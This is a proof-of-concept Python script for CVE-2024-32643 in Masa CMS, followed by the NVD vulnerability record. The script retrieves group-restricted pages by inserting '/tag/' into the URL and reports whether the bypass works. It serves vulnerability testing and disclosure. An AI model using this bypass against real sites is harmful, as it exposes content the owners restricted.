CVE-2024-32643

# CVE-2024-32643 PoC - Masa CMS Access Control Bypass # This PoC demonstrates bypassing group restrictions using /tag/ path manipulation import requests import sys def test_access_bypass(base_url, protected_page): """ Test if the Masa CMS instance is vulnerable to CVE-2024-32643 """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } # Original protected page request (should be blocked) normal_url = f"{base_url}/{protected_page}" # Bypassed URL with /tag/ path manipulation bypassed_url = f"{base_url}/tag/{protected_page}" print(f"[*] Testing CVE-2024-32643 - Masa CMS Access Control Bypass") print(f"[*] Normal URL: {normal_url}") print(f"[*] Bypassed URL: {bypassed_url}") try: # Request normal URL normal_response = requests.get(normal_url, headers=headers, timeout=10, allow_redirects=False) print(f"\n[>] Normal Request Status: {normal_response.status_code}") # Request bypassed URL bypassed_response = requests.get(bypassed_url, headers=headers, timeout=10, allow_redirects=False) print(f"[>] Bypassed Request Status: {bypassed_response.status_code}") # Check if bypass was successful if bypassed_response.status_code == 200 and normal_response.status_code != 200: print("\n[!] VULNERABLE: Access control bypass detected!") print("[!] Protected content was accessible via /tag/ path manipulation") return True else: print("\n[+] NOT VULNERABLE: Access control properly enforced") return False except requests.RequestException as e: print(f"[ERROR] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) > 2: base_url = sys.argv[1] protected_page = sys.argv[2] else: base_url = "http://target-site.com" protected_page = "restricted-page" test_access_bypass(base_url, protected_page)

{"cve": {"id": "CVE-2024-32643", "sourceIdentifier": "[email protected]", "published": "2025-12-03T17:15:48.723", "lastModified": "2025-12-05T15:37:39.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Masa CMS is an open source Enterprise Content Management platform. Prior to 7.2.8, 7.3.13, and 7.4.6, if the URL to the page is modified to include a /tag/ declaration, the CMS will render the page regardless of group restrictions. This vulnerability is fixed in 7.2.8, 7.3.13, and 7.4.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:masacms:masacms:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.2.8", "matchCriteriaId": "82A74C33-3407-498A-9444-4A451E5968FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:masacms:masacms:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.3", "versionEndExcluding": "7.3.13", "matchCriteriaId": "45C4FA2D-DCEF-4991-B21D-C2BAC3A9DF5C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:masacms:masacms:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.6", "matchCriteriaId": "ED61DA62-94D4-4081-923F-2674CFC7945A"}]}]}], "references": [{"url": "https://github.com/MasaCMS/MasaCMS/commit/d1a2e57ef8dbc50c87b178eacc85fcccb05f5b6c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/MasaCMS/MasaCMS/security/advisories/GHSA-f469-jh82-97fv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}